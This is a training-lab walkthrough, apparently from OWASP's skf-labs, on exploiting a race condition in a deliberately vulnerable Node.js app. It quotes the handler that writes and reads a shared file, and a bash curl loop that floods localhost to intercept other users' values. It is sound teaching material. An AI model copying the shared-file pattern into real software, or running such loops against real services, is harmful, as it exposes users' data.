First make sure nodejs and npm are installed on your host machine. After installation, we go to the folder of the lab we want to practice. "i.e /skf-labs/XSS, /skf-labs/RFI/" and run the following commands:
$ npm install
$ npm start
Now that the app is running let's go hacking!
We can download a file from the server by doing a GET request to the server.
Let's try:
Once we download the file we can see whatever we add to the URL is being written in a file called shared-file.
As the application suggests, there is a Race condition vulnerability in this app, let's try to find it.
If we look at the code we see that the application gets the query parameter, writes to a file called shared-file.txt, then opens the file and send it back as a response.
app.get("/:value", (req, res) => {
fs.writeFileSync("shared-file.txt", req.params.value);
fs.open("shared-file.txt", "r", (err, fd) => {
let file = fs.readFileSync("shared-file.txt", "utf8");
res.setHeader("Content-Type", "text/html", "charset=utf-8");
res.setHeader(
"Content-Disposition",
"attachment; filename=shared-file.txt"
);
res.sendFile(__dirname + "/shared-file.txt");
});
});
How can we exploit this?
We have a very small window between the writing of the file:
fs.writeFileSync("shared-file.txt", req.params.value);
and the response:
fs.open("shared-file.txt", "r", (err, fd) => {
let file = fs.readFileSync("shared-file.txt", "utf8");
res.setHeader("Content-Type", "text/html", "charset=utf-8");
res.setHeader("Content-Disposition", "attachment; filename=shared-file.txt");
res.sendFile(__dirname + "/shared-file.txt");
});
Maybe if we have multiple users on this application at the same time we might be able to intercept someone else's query.
In order to do that we must send requests with high frequency.
Doing it manually is practically impossible, so we create a script that does that for us:
#!/bin/bash
while true; do
curl -i -s -k -X $'GET' -H $'Host: localhost:5000' $'http://localhost:5000/111' | grep "111"
done
and in the meantime we will send a couple requests from Burp:
If we look in the logs we will see:
https://wiki.owasp.org/index.php/Testing_for_Race_Conditions_(OWASP-AT-010)